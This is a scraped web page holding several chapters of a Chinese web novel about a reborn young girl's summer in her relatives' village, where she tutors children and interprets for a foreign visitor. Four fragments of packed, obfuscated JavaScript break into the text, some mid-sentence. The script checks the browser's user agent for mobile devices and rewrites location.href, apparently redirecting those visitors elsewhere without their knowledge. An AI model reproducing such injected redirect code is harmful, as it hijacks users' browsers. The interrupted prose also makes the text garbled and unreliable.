0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095731|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 马丽丽还尝试了一种以前只听说过但没试过的吃法，“叫花鸡”，当然包的就不光是鸡，主要是鸟。大家试过之后感觉吃是挺好吃，就是太费劲，一只鸟扒完内脏就没多少肉，又是和泥巴又是包泥巴，还要生火生到弄熟了，又得扒拉掉土……有这个功夫整个小烧烤也挺好。 才回来老家几天，马丽丽就在孩子们中间混得风生水起，村里的孩子都挺喜欢她的，玩的时候挺能疯，作为客人当挡箭牌的时候也义不容辞。 才来没两天，马丽丽就开始学着其他人举着大饼或是馒头到大树下一边玩一边吃饭，有时候还能蹭蹭别人喝酒侃大山时带的小菜，或是在别人吃的包子上咬一大口，偶尔还偷摸的帮人做做暑假作业，顺便赚点小零嘴。 重新活一次的感觉真好，马丽丽在心底觉得自己好像有点太放飞自我了，可是真的太开心了，她又不太想压抑自己。 小孩子们疯玩的时候，大人们却在紧张的进行夏收，种麦子的要晒麦粒，种玉米的也要把晒干的玉米粒剥下来，之后就是装袋，然后交公粮。 “我也想去我也想去！”马丽丽什么都想尝试一下。 “好好好，去去去，明天大家都去。”张立民一口答应。这时候院外头一个男孩高声喊：“马丽丽，马丽丽，明天你去不去交公粮去？” “去！”马丽丽光着脚一边叫一边跑出去，“你也去不？” “去。”男孩小声偷偷的说：“你再帮我做一页数学，回头我给你烧麦粒吃。” “啊？又烧麦粒？王大力，你的暑假作业也不能都叫我帮你做吧？到时候差太多老师一看就知道。” “嘘嘘嘘。”王大力手忙脚乱试图用他黑不拉几的手捂着马丽丽的嘴，“你小声点，让人听见。” 马丽丽十分嫌弃的拍开他的手，放低声音，跟地下组织碰头似的小声说：“上回是数学，上上回是数学，这回又是数学，就给你写的多，你老师又不是傻子，你这几页对这么多，其他地方都不会，一看也有问题。” 要是自己同学，代写了就代写了，但对外地朋友这么做，好像有点不太好。 “哦，对哦。”王大力恍然大悟，“那咋办。” “自己写。”马丽丽扭头要回去。 “哎，你等等，你再帮我几回……” “还几回？” “可是我是真的不会啊。” “我可以教你做，到时候你自己写。” “啊？这能行吗？” “行不不行至少也是你自己写的，有啥说的？” 王大力犹豫半晌，他小学四年级了成绩还总是在及格线上徘徊，有时候努努力或是运气好能上七十分。 什么“必须得读书才能出息，小孩不读书能干嘛？考上大学上族谱都排前”之类的话他也是能听进去。 也不是不想读好点，问题就是，读不进去咋办？ 看着马丽丽只是翻了翻他的课本，然后写起作业来都不带歇的，他自己抓耳挠腮一天都憋不出来的一页作业，马丽丽五分钟都不要就写完了，王大力羡慕的脑子都要挤出汁了。而且当时听马丽丽随口说的方法好像很简单似的，王大力觉得要是他，说不定教教也能行。 “那好吧，我试试。”王大力抓了抓刷子一样的头发，不好意思的从口袋里掏出一条小鱼干给马丽丽，“给，明天去交粮的时候带上，我就抓到这一条，嘿嘿。”然后他一溜烟的跑了。 39.第三十九章 “啊？干嘛的啊这？”马丽丽不明所以的举着这根小鱼干回屋子里头，问正在给玉米棒子扎小辫的孙兰，“姨姥，王大力给我一个小鱼干让我明天带去，干嘛的这是？” 一起扎小辫的张小萍秒懂，她笑着泄密：“粮站有猫咧，这是给你逗猫的。” 原来是这样，马丽丽明白了。 第二天家里人一起把要交的粮食装上独轮车，然后把马丽丽放在最上面。 “嘿，走！”张立民一提气，推着独轮车出了门，马丽丽赶紧抓住身前的麻绳。 走到路口，张志中带着张守成张守望两兄弟正等着呢，见到老爸，他也推起停在一边的车跟了上来。 “志国呢？”张立民问。 “不知道哇，志国这会儿也应该到了。”张志中叫自己小儿子，“守望，去前头路口看看你叔出来没。” “好咧。”张守望蹦跶着向前跑去。 张守成仰望着车上的马丽丽没话找话，“妹儿，你也去啊？” “对啊，我还没去过交公粮呢。” “你们那不交啊？” 张志中笑话儿子，“你个傻样，你妹那是吃商品粮的，哪用种地啊，你也好好读书，以后考大学吃商品粮就不用种地了知道不？” 张守成有些沮丧，“可是作文好难啊，我写不来。” 马丽丽在车上紧张的抓着麻绳生怕掉下来，她生硬的扭着头说：“哎，这有啥难的，你看咱们去交公粮，你妹儿，我，从南边来的，没见过，咱们一块儿去，我坐在车上，姥爷推着我，还有二舅，呆会咱一起去粮站，肯定很多人，人挤人的，热闹，然后咱一块儿玩，姥爷和舅舅他们称粮，收了，又叫咱回家。这不就写完了吗？你要写多少字儿？” 张守成感觉要长脑子了，他不由回答：“一百。” 哦，那是挺难的，浓缩的都是精华啊。 “那你就写一咱们去的一路，二哥写咱们在粮站的事，你俩的作文都有着落了……哦，对了，他不用写。” 张志中笑骂：“你看看你俩，妹妹都比你会读书，人家还没上学呢。” “对哎，妹还会数学，她咋学的啊？”张守成也没法反驳，他亲眼见过一次马丽丽帮人写作业，刷刷刷，好像想都不用想，他看不懂，但大为震惊。 “我还会外国话。”马丽丽大声说。 正说着，前面□□也推着车和张守望过来了，他的独轮车上粮食不多，旁边也坐了个身上绑着麻绳的三岁小女孩。 气氛一下子就冷了下来，张立民皱着眉，“怎么你一个人带小雪出来，你媳妇儿呢？” □□好像什么都没有感觉出来，他推着车跟上来，“陈霞去蚕场了，她上次欠了人家一个假，这回得给人补起来。” 父子兄弟边聊着天边走，马丽丽坐在麻袋上仔细看旁边车上的小女孩，上次吃饭她也来了，不过因为姨姥姥的关系，她也没好好看看这个表妹。 说起来这位二舅还真是有一个小说一样的人生，马丽丽曾在妈妈那里听过他的八卦。 当年姥姥姥爷去了幸福小镇后，这里老家村里就打算收回他们的宅基地，还补了些钱，差不多三百来块，当年就是马丽丽的妈妈徐明惠来办的这个事，姨姥姥孙兰帮着办的手续。过了几年，孙兰突然写信来问妹妹妹夫借了三百块钱，为了给小儿子结婚用。 □□的妻子陈霞当年也算是个村花，不知怎么跟□□好上了，别的不说，□□遗传了母系的长脸小眼，可算不上帅，跟陈霞好了一段时间就非结婚不可。 孙兰那会儿对陈霞没什么意见，就是被小儿子折腾的不行，大儿子当时也才结婚，家里的钱都花光了，也没钱给小儿子结婚呀。□□就非急着结婚不可，孙兰以为是陈霞怀上了，只好跟张立民商量，厚着脸皮问妹妹借了钱把这婚给结了。结果万万没想到，陈霞根本没怀孕，不仅如此，他俩结婚差不多十年了也没能生下个一儿半女。 这年头可没个啥不孕不育门诊，孙兰也不可能让小儿子离婚，只是想起来就气得胸口疼。 按照老话，□□陈霞抱养了一个养女，取名张白雪，意图能带来好“孕”，就是隔壁这个小女孩啦。 不过马丽丽还知道一些后来的事，再过十年，陈霞依旧没能生下一儿半女，□□急着娶回来的妻子，最终还是跟她离婚了，养女张白雪跟了养父，她也十多岁了，平时都是姑妈张小萍照顾着。 等到□□快五十岁的时候，又找了一个三十来岁的老婆，这一位后来给他生了个儿子，那时候张白雪都上大学了。 后面的事马丽丽也不清楚，想来也有些纠葛吧。 别看□□长得一副憨厚相，脑子其实很灵活，就说这交夏粮吧，张立民和张志中的地全种粮食，但是□□却是只种了要交的粮，其他地就种些瓜果蔬菜等等运到城里找关系卖出去，甚至还收别人的卖，当个二道贩子，卖得钱又悄悄在村里买人家的余粮吃。 这二道贩子先干小后干大，□□竟然还是家里最先在城里买房的人，不过马丽丽猜可能也是因为如此，后来他才会离婚吧。 张立民对这个儿子看不惯也没办法，自己亲儿子还能咋办？ 不过□□和陈霞还是把这个女儿养得挺好的，虽然被直男老爸用一根麻绳当安全绳绑在车上，张白雪也不怕，对着马丽丽还笑嘻嘻的叫“姐姐”，她大概也是哪家亲戚家抱来的，长得居然跟爷爷张立民有点像，如果不是马丽丽知道，大概也会觉得她就是□□亲生的吧。 张守成、张守望两兄弟就不那么有记忆了，他俩才是把张白雪当成亲妹妹，两人忙活的很，一会儿跟马丽丽大呼小叫，一会儿又跑去摘点小花给张白雪拿着玩。 收购站离张立民他们的村子近，很快就到了粮站。 粮站是个青砖黑瓦的大院子，中间一整排上下都有门的大屋子就是粮仓，前面是个很大的院子，是水泥地的，平时可以晒粮，这会儿就用来收粮。 时间还早，但是排队的人已经很长了，各村的人推着各种推车，还有忙着卸粮称粮的人，熙熙攘攘，尘土飞扬，热热闹闹的。 “你们都看着点，人多别挤着妹妹，妹妹必须在眼皮子底下，也别让人欺负了，知道不。”张志中严肃的嘱咐张守成、张守望兄弟俩。 “明白！”兄弟俩也十分严肃的答应下来。 张立民三人排队去了，四个孩子直接放飞。 这里早就聚集了不少跟着父母来交公粮的孩子，大部分是本村的，很少有外村的。孩子们相互认识，一声招呼就玩成一团。 粮站的人称完送来的袋装粮食，会全部倒出来检查温度，湿度不合格就要减重，这批粮还得另外晾晒。交粮的和收粮的总会因为这些事争执起来。 合格的粮食就堆到一起，渐渐变成小山，粮站的人还会再次筛掉里面的土渣和灰尘，最后再收进粮库。 这些暂时还没有收库的粮食山，就成了孩子们临时的游乐场…… “你们这些小鬼，都下来下来，不许爬到上面去。”粮站的人来赶人了，小孩子们呼啦啦的滑下来分散跑开。 啊，玩不成了。 马丽丽被张守望拉着在粮食山中绕来绕去，一会儿马丽丽就分不出方向了，不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100093|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要紧，张守望显然熟悉的很，很快两人就绕了出来。 这里围了一圈小朋友，大家都十分乖巧的蹲着，眼睛看向同一个地方，张守成和张白雪也蹲在里面，马丽丽被张守望拉着挤了进去，原来他们看的是一只大白猫。 这猫个头很大，毛微长，全白无杂色，眼睛竟然是一黄一蓝，粉红的鼻子，脸圆圆的，胡须很长，长得特别好看，这猫也不怕人，被这么多小朋友围观，它却依旧不紧不慢的舔着毛。 它脚边还有一只小小的黑白猫，小猫就不像白猫这么淡定了，它躲在白猫身下，不停的“咪咪”叫着，怯怯的伸出脑袋警惕的看着周围的人。小孩们纷纷议论，这小猫长得可真像黑猫警长，就是太胆小了，一点也没有警长的威武，而且它也不是黑猫，另有小朋友又说，黑猫警长也不是黑猫，它的下巴是白色的!于是最后大家都同意还是叫小猫“警长”，希望它长大后能像黑猫警长一样。 小朋友们争论不休，大白猫一点不收影响，它舔完毛，“喵”的叫了一声，趴了下来，这时有一个男孩拿出一个纸包打开，里面是几个煮熟的蚕蛹，他小心挪上前，嘴里叫着“大白，大白”，把蚕蛹伸到白猫面前，白猫闻了闻，低头吃了起来。 上贡成功！男孩不是第一次这么干了，他放下纸包，开心的撸起了猫，其他小朋友也拍起来马屁，“大白好可爱，大白最好看。”但是如果有人企图混水摸鱼上手撸猫，白猫就会不客气的哈气，等手一缩回，它又低头吃了起来。 几个蚕蛹没两分钟就吃完了，白猫舔了舔嘴，又舔了舔爪子，扭头轻轻挠了男孩一下，男孩立刻闻弦知意收回了手，意犹未尽的说：“我都没摸几下呢……” 立刻有又另一个人把男孩挤了开来，“到我了”，他说着从口袋里摸了一小块肉，大概是吃饭的时候省下的，就是太过埋汰了，不过猫猫不嫌弃，它不紧不慢的把肉吃了，付出几秒钟的摸摸。 原来如此！ 马丽丽明白了，她也掏出小鱼干伸了过去。小鱼干果然猫猫一生的挚爱，大白见了小鱼干两眼放光，甚至都不在矜持的蹲坐等着“上供”，而是主动上前蹭着马丽丽喵喵叫，把其他小朋友羡慕的眼睛红红。 猫还没撸几下，就听见张志中远远的声音传来：“守成、守望、丽丽，小雪，哪呢？回家啦，听到没用？” “来啦！”张守成大叫，又招呼另两个，“守望，丽丽，小雪，走了。” 三个大人正站在门口等着，见四个孩子跑出来，两个爸爸把各自的儿子女儿放在小车上，张立民也把马丽丽放在小独轮车上。马丽丽跨坐在轮子的架子上，手把住木条，一挥手，“出发！” □□推着白雪笑道：“丽丽倒是胆大，赶明个儿舅舅找匹小马让你骑骑你敢吗？” “好啊好啊。”马丽丽还真想试试。 “叔，我们也要骑。”张守望也扭头叫起来。 “给我坐好你小子，看摔了。”张志中呵斥一声。 这时大家一起拐上了大路，大路虽然也是沙土路，但比坑坑洼洼的乡间小路平稳多了，虽然主要是给汽车用的，但也有不少马车骡车来来往往，尤其最近是交粮的日子。 大路是通往隔壁市的，不时就会有汽车路过，张守成、张守望两兄弟对小汽车特别感兴趣，偶尔过来一辆，两人就指指点点，马丽丽大喊一声：“看我的。”她站起来指着迎面来的小车大叫：“停下，给我停！！” 小车开了过去，然后在他们身后竟然真的“吱儿”，停下了。 马丽丽立刻怂了，赶紧坐下，目视前方，假装什么事都没有干。 40.第四十章 不光是马丽丽，三个大人也是吓了一跳。 “哎呦，怎么真停了？”□□停下来好奇的观望，他走在最前头，他一停下来，张立民和张志中也只好停了。 张立民：“你干啥呢，又不是咱丽丽让他停的，人家可能有事。走走走。” 正说呢，对面马路小车上下来一个大高个老外，对着这边呼叫：【丽丽，嘿，小姑娘，你是吗？】 哈？ 马丽丽不能更诧异了，她猛的扭头一看，我去，还真是安德鲁.德莱恩，这小子咋在这？这么久了他还没回去？ “丽丽，我咋听着这外国人在叫你呢？”□□忍不住说道。 “别说话。” 马丽丽：“……还真是叫我，在火车上认识的人。” 张立民/张志中/□□/张守成/张守望：？？！！ 安德鲁快步过来，【没想到我们又见面了，年轻的朋友，刚才我在车上就看见你了，我真不敢相信自己的眼睛，见到你真是让我倍感亲切。】 马丽丽：【……德莱恩叔叔，你不是去大明湖市了吗？怎么会在这儿？】 安德鲁：【哦，别提了，他们虽然找了个法语翻译，可是口音太重了，啊，对了，没想到种花国的人真的会喝这么高度的酒，还好你事先帮我写了拒绝的话，他们好像还以为我在撒谎，反正搞得不太愉快。】 马丽丽：【呃……所以呢？】看来是经历了很多啊。 安德鲁：【这位王，说他在这边也有一个一样的厂，我感觉他好相处多了，所以决定来看看，反正还有点时间。】 这么随便的吗？ 马丽丽不由的看了一眼跟着安德鲁一起下车的一个大概三四十岁的男人，对方中等身材，长得一脸老实相，看不出是会乘机挖墙角的人。这会儿王厂长不打扰安德鲁，但也没闲着，拉着张立民几人就唠起了嗑。 至少是十分有眼色的一个人。 不过马丽丽十分好奇：【王厂长会说外语，你们能交流吗？】 安德鲁耸了耸肩，说：【他也不会，我们交流的挺费劲，但是他很勇敢，别人都挺怕跟我说话的，他还主动找我。】他比划了几下，【你给我的本子上有纺织厂这个词，他还随身带着附近的地图指给我看。】 马丽丽：【你也挺大胆啊，德莱恩叔叔。】 安德鲁：【是吗？哈哈，种花家国挺安全的，我不担心会发生什么。】说到这里，安德鲁突然灵光一闪，【丽丽，你就住在附近，那要不要干脆跟我一起去？正好做我的翻译，哦，我可以给你付报酬，我知道你不反对这个。】 马丽丽心动了，不是钱的事，主要是能去见识见识世面，但这可不是她说了算的事。 【那可不行，我妈不会同意的，而且就算要去我也不可能马上就跟着走吧，反正我说了不算的。】 安德鲁兴致高昂，【那正好，我可以去你家跟你的妈妈说，我想王先生不会反对的多加一两个人的，尤其是你。】说着他好奇的看着独轮车跃跃欲试，【你妈妈家在哪儿？我们可以走路去。】 马丽丽就奇了怪了，明明刚见面的时候还觉得安德鲁是个高冷精英男的样子，现在感觉他就跟个大学生似的，怎么的，你还想上手推车吗？ 安德鲁：也不是不行。 马丽丽：不行！ 心动不如行动。 马丽丽跳下车对张立民叫道：“姨姥爷，安德鲁说要去咱家找我妈谈事情。” 姨姥爷：“哈？他找你妈干啥？” 马丽丽：“他说想让我给他当翻译来着，但得我妈批准。” 姨姥爷：“？”你说啥呢？ 姨姥爷震惊，姨姥爷懵逼，姨姥爷不理解。 马丽丽还探查了一下有没有竞争对手，“王叔叔，德莱恩先生说听不懂你说英语，你们那，还有别的翻译不？” 王厂长脑筋转的快也跟不上趟，什么情况？他反射性的说：“英语？他不是法国洛林区的吗？我一直跟他说德语啊，难道我说的有口音？” 王厂长：我寻思我也妹有口音啊？ 马丽丽：…… 马丽丽终于知道安德鲁·德莱恩是哪里人了，洛林地区夹在德法两国之间，从以前开始就被倒来倒去的，现在虽然划分在法国境内，但那里的人大多还是说德语，所以相理说德莱恩应该德语法语都会才是。 马丽丽：“我跟他说俄语呦。” 王厂长：“……” 马丽丽：“他说听不懂你说啥，想让我跟着去当个翻译，给钱咧。” 王厂长觉得有点槽多无口，脑子糊糊的，“马丽丽小朋友，你是咋认识的德莱恩先生啊？” “啊，就是在火车上啊。”马丽丽把之前的事简单说了一下。 “哇，丽丽，你好厉害，还会说外国话。”这是张守望兄弟迟来的震惊。 马丽丽：“嘿嘿，没有啦。” “那咱们，先回去再说吧，不能总站在路边说话不是。”□□提醒大家。 “嗳，对对，先回，先回。” “等我一下，我跟司机说一声让他调个头。” 王厂长快步跑过去嘱咐司机，又抓紧回来。张家几个大人推着车往家走，他们眼巴巴看着马丽丽在前头跟那个老外相谈甚欢，感觉特别不可思议。 马丽丽正在问安德鲁的大明湖市之行，安德鲁大加赞扬了大明湖市和周边的风景名胜。 【特别棒，非常漂亮，泉水也很清，还有人来装水。】 【湖面很美，风景很好，我还去划了船，非常舒服。】 马丽丽：【真的吗？我都没去过，不过你不是来考察工作的吗？怎么天天玩啊？】 安德鲁：【当然是工作完了之后去的。】 马丽丽：【那考察的怎么样？】 安德鲁：【跟你说了你也不懂，你知道什么叫合资企业吗？】 马丽丽：【我当然知道啦，就是你出钱，我出地，咱俩一起盖个厂，赚了钱一人一半。】 安德鲁：【哈哈，也不能说完全错，但也没这么简单。】 马丽丽：【那你要我给你当翻译，是不是想跟王厂长他们合资？】 安德鲁：【那也不一定，这可不是我能决定的事，也要看他们的意思才行。】 马丽丽：【哦，那就是大明湖市的厂子不大乐意你的条件呗，哎，那要是这家也不乐意，那你不是白来了吗？】 安德鲁：【哦，小姑娘，这是很复杂的工作，一时半会儿可说不清楚，总之我只是一个打前哨的，谈判是下一步的事了。】 马丽丽：【听上去确实挺复杂的，我不会耽误事吧？】 安德鲁：【放轻松，亲爱的丽丽小姑娘，就当去参观了。】 马丽丽：【……你出钱你说了算，让我们来说说工资吧。】 这一块安德鲁倒是很爽快，出了一个半天五十块钱的高价，让马丽丽再次有了这家伙真是富裕国家出来的感觉。 安德鲁：便宜。 马丽丽：赚了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104405|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没多久就到了村子里，汽车开不进去，只能停在路边，所有人都跟着去了姨姥姥家，把在家的孙兰吓了一跳。 徐明惠听了事由倒是没什么不同意的，就当让孩子长长见识罢，她自己也能长长见识不是？在确认了王厂长的工作证后，又确认了今晚能住在厂招待所，徐明惠立马简单收拾收拾，这就走了。 于是一行五人（加司机）欢快（bushi）的进城了。 王厂长本想把大家安排在招待所，可是安德鲁拒绝了，他要求住宾馆，国营的，王厂长一拍手，把马丽丽母女俩也安排进去了，正好方便外宾嘛。 在安德鲁的要求下，中午大家简约而不简单的吃了一顿便饭，下午就直接去纺织厂了。 马丽丽一开始还担心自己翻译不来纺织行业的专业名词什么的，后面发现倒也不用，王厂长早就准备好了资料，虽然他口语让人无语，但文字资料还是可以的，马丽丽主要就是辅助翻译。 安德鲁：原来他说的真的是德语啊。 跟着王厂长的几个领导也算是开了眼了，这么个小不点，说起俄语来一串一串的也不打磕巴，啧啧啧，想到自家孩子，真想让他们来见识见识。 马丽丽可是非常严肃认真的在干活的，一下午五十块钱，这可不是白拿。不过之前她还以为安德鲁的公司是准备搞合资，结果听他们的口气，好像又是准备采购一批纺织品，嗳不管了，她操什么心啊，她不过就是一个传声筒罢辽。 安德鲁虽然看起来不靠谱，但他专业还是很过硬的，在考察的这几家纺织厂中，他感觉质量几家都差不多，不过王厂长这家纺织厂的许多花色图案更符合国际流行，果然是因为领导更有眼光吗？他心中已经有了打算，表面却并没有表现出来，只是决定回宾馆后再打个国际长途给公司说明情况，看公司的考量。 大家都认真起来的话，只是一个前期工作就结束的很快，一个下午足够安德鲁和王厂长达成口头共识，后续工作也不是现在一会就能完成的。 晚饭安德鲁没有拒绝王厂长的安排，他住的国营宾馆就有自营饭店，晚餐就安排在那里，这回王厂长总算尽情发挥了一把，点了一桌鲁省名菜，企图让美食把客人的心留住。 作为周全人，王厂长第二天带着安德鲁和马丽丽在市里游玩了一番，顺便帮安德鲁买好了下午去首都的火车票，安德鲁会在那里坐飞机离开。 离开前，安德鲁把说好的报酬当着王厂长和徐明惠的面交给了马丽丽，王厂长也十分慎重其事的给了马丽丽一个红包。 王厂长：“玛丽丽小朋友这次非常感谢你的帮助，来，这是我们对你的感谢，收下吧。” “谢谢叔叔。”马丽丽不客气的收下了。 几人再次告别，等其他人一走，徐明惠立刻向马丽丽伸手：“来，钱给我。” 马丽丽吐舌：“咯咯咯，我不给，这是我自己赚的。” 徐明惠：“你拿这么多钱干嘛？给我我给你存起来，以后当学费。” 马丽丽：“我不信，除非你马上存到银行再把存折给我。” 徐明惠：“……”小孩太聪明了不好骗啊。 徐明惠：“小孩拿这么多钱不安全，把钱给我。” 马丽丽：“放心吧，我已经想好怎么花了，要是不够你就再给我点。” 徐明惠：“？？你要买什么啊？” 马丽丽：“不告诉你，等我买了再告诉你。” 徐明惠：气死我了！我天天看着你，看你把钱花哪儿去！ 41.第四十一章 马丽丽早就想好了，鲁省是纺织大省，除了丝，还有棉，她准备请姨姥姥帮忙订两床棉被给家里的四个老人。 她之前就问过了，前两年棉花两块八一斤，这是村里的收购价，就算今年三块钱一斤，做两床五斤被子的棉花就是三十块钱，做成被子手工费差不多十块钱，就是四十块钱，邮回去便宜，大概五块钱八块钱的，五十块钱搞定。 在火车上安德鲁给的报酬有零有整，六十三，给了小张阿姨二十，还剩四十三，本来马丽丽打算请老妈支援一点，现在也不用了，她直接给了姨姥姥一百块钱，请她秋天收棉花时帮忙做两床厚厚的十斤大被子。 孙兰吓了一跳：“你小孩家家的哪来这么多钱？” 马丽丽：“就是给老外做翻译啊，在火车上的时候，还有前两天的时候，还有那王厂长也给了我一个红包，反正全部加起来就差不多啦。” 孙兰：“那也不用这么多钱。” 马丽丽：“要的要的。”她还细细算了一遍给姨姥姥听，棉花、手工费、被面、邮费……邮费不够就不做被面，直接寄棉胎。 “多了点也没多多少，哪能算的这个精确，万一涨价了呢？”马丽丽笑嘻嘻的盘了盘腿，“要是真多了就给姨姥爷打二两酒喝。” 话虽如此，孙兰也不可能拿马丽丽一百块钱不跟她妈妈说一声，于是她又找了个时间把这事儿跟徐明惠说了。 徐明惠：“……” 好家伙，原来这小子手里还攥着这么多钱哪！还悄么声的买了这么个大件不跟家里说。 徐明惠跟着心里算了算，一百块钱买两床被子，那着实是多了，可她也不好意思跟大姨说“那这多的钱到时候你再给我邮回来”啊，更不可能说“被子咱不买了，你把钱给我”。徐明惠只能忍痛对孙兰说：“人小鬼大的，手里才几个钱呢就老想着花出去，麻烦大姨你费心了，这新棉花是舒服，我们那到冬天也是挺冷的，她还想着她爷爷奶奶姥姥姥爷呢，这钱也算花的值了。” 孙兰这才放下心来，这钱也拿的踏实，她笑道：“咱丽丽是干大事的，有本事，你看哪家小孩这么点就能赚钱的啊？还给外国人做翻译，哎呦，这一般大人也干不了啊，还是咱丽丽厉害。人小也孝顺，小慧你以后可是享福了。” 徐明惠无语：“嗨，还享福，我就希望她以后能别大手大脚就不错了，看她这手里攒不住钱的样子。” 之后她还不死心又去问马丽丽：“你赚的钱都给姨姥姥买被子啦？” 马丽丽眨眨眼：“是的啊。” 徐明惠气得一戳马丽丽的脑门，“就会乱花钱，以后你的钱都给我。” 马丽丽才不理她呢，她跑开几步做个鬼脸，“把钱给你你也不会买被子，干嘛给你啊，我要告诉姥姥，你说给她买被子是乱花钱，咯咯咯。” 不等老妈开口，马丽丽迅速跑掉了，她早就知道了，有时候年轻的老妈不是想跟你讲道理，她只是生气你没听她的话，不跑还等着吵架吗？ 村头大树下，几个小伙伴已经到了，王大力远远看见马丽丽过来，赶紧站起来挥手，“马丽丽，你快点儿。”上回去粮站没赶上，补作业是万万不能错过。 王大力从口袋里掏出来一个大白兔，咽着口水塞给马丽丽：“给，马丽丽，这给你吃。” “谢谢，哥。”马丽丽能屈能伸，有糖就是哥，她拆开奶糖，咬了一半，剩下一半又递还给王大力，“你也吃，一人一半。” “嘿嘿。”王大力接过糖扔进嘴里，美得眼睛都眯了。 “你俩，哎，哼，丽丽，咱赶紧的呗，今天该看我的作业了。”张守成不满的说，明明这是他的妹妹，他的！咋老是有别人凑上去？ “好吧。”马丽丽抬手就写。小学，不管是一年级还是二年级，对马丽丽来说就根本没难度，她闭着眼也能往上写，但是写了几次就感觉太无聊，像张守成王大力这样的，还是有想法想找点方法把成绩提上去，所以马丽丽干脆开了个小课，就在这村头的大树下。 有几个男孩只是单纯不想写暑假作业，马丽丽也不白写，只帮他们把不会的填上就把他们赶走了，剩下几个都是愿意听听马丽丽怎么解说的。 语文没啥好说的，就是背，倒是数学，马丽丽以前刷短视频刷到过据说是外国小朋友们学习乘法的方法，什么划线数相交点数法，什么把数字铺开把乘法换成加法算，还有画图数三角形方形，或是拿张纸直接折出几何图形，总之都是上正经课时候老师不会讲的方法。 小孩姐在地上比比划划，小孩们听得津津有味，不是老师讲课听不进去，而是小孩姐讲的更有性价比，谁不想学点特别的，然后在学校里显摆显摆呢？ 以往傍晚天气凉快的时候，正是大家呼朋唤友村子里最热闹的时候，现如今却是大家一起聚在村头树下写作业的时候。 有的孩子自带板凳，有的就拿个木板，来的早的直接霸占乘凉用的石头条凳趴着写，大人们看见也只有点头的份，谁还能阻止自家孩子上进？而且一个还没开始上学的小孩子给一群已经上学的大孩子上课的情景也着实有意思。 马丽丽给外国人当翻译的事早就传遍了村子，家长们都想着多跟她一块儿，搞不好还能沾沾学气，说不得以后自家孩子也能说一口外国话也不一定呢。 所谓科学的尽头是玄学，试试能咋？ 各种原因，一起在树下写作业的人竟然变多了，尤其是女孩子们，她们对待暑假作业虽然更认真，但谁会喜欢作业呢？大家一起写感觉似乎也轻松了许多。 啊……好像并不是错觉呢，主要是不会的张口就问，马丽丽张口就答，小孩姐还是有点东西的，小学的也好初中的也罢，好像都难不住她。 这个年龄的孩子还是佩服会读书的，也不管马丽丽才六岁，厉害就是厉害。大家都挺喜欢这样的氛围，以至于马丽丽她们要回南边的时候，大伙儿这才想起来，原来小孩姐不是他们村的。 “马丽丽，你回去可得给我写信呀。” “丽丽，你啥时候再来啊？” “马丽丽，要不你留这儿读小学算了，在学校我罩你。” 大伙对马丽丽十分依依不舍，徐明红惊讶：“马丽丽，你还真是受欢迎啊。” “那是。” 抓着暑假的尾巴，徐明惠带着徐明红和马丽丽，孙兰带着张家小兄弟和张白雪，七人一起去蛤蜊市玩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113475|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天。 鲁省内陆城市夏天很干热，但是沿海的蛤蜊市却十分适合度假，清爽的带着咸味的海风吹去了夏季的燥热，蓝天白云下的沙滩浴场是夏天的天堂。 姨姥爷张立民的妹妹和妹夫就在蛤蜊市，妹夫是某单位的小领导，直接安排大家住在单位招待所里。 刚放好行李，大家立刻就开始了行程。 景点看了，蛤蜊吃了。 其他人还好，马丽丽疯狂热爱一切带壳的水产，不管是螃蟹、虾还是各类贝壳，在幸福小镇都很少见到，她在蛤蜊市吃的一本满足。 马丽丽：我爱蛤蜊市！ 贝壳捡了，照片照了。 旅游城市总有帮人照相的小摊，交钱后留下地址，照相师傅就会把洗好的相片（和底片）一起寄过来。 幸福小镇还在照黑白相片呢，蛤蜊市已经流行彩色照片了。徐明惠拉着大家一起去照相馆拍了好几张合影，之后又在许多小摊上留下了地址。 海水游了，特产买了。 物流不发达，特产就真的是本地才能买到的特别的产品。 核桃吃了，肉松（以前没见过）吃了，钙奶饼干吃了，鲅鱼饺子吃了，酸奶吃了，崂山可乐喝了。 大螺买了，贝壳项链买了，大虾干买了，海蜇皮买了，鱿鱼干买了，海参买，买，买不起。 带着一兜特产，徐明惠又带着徐明红、马丽丽坐火车去了首都。 首都咱也有亲戚，马丽丽搞不清关系的亲戚热情的招待大家吃了一顿首都特色的晚饭，又安排三人住在宾馆里。 之后又是几天特种兵式的游玩。 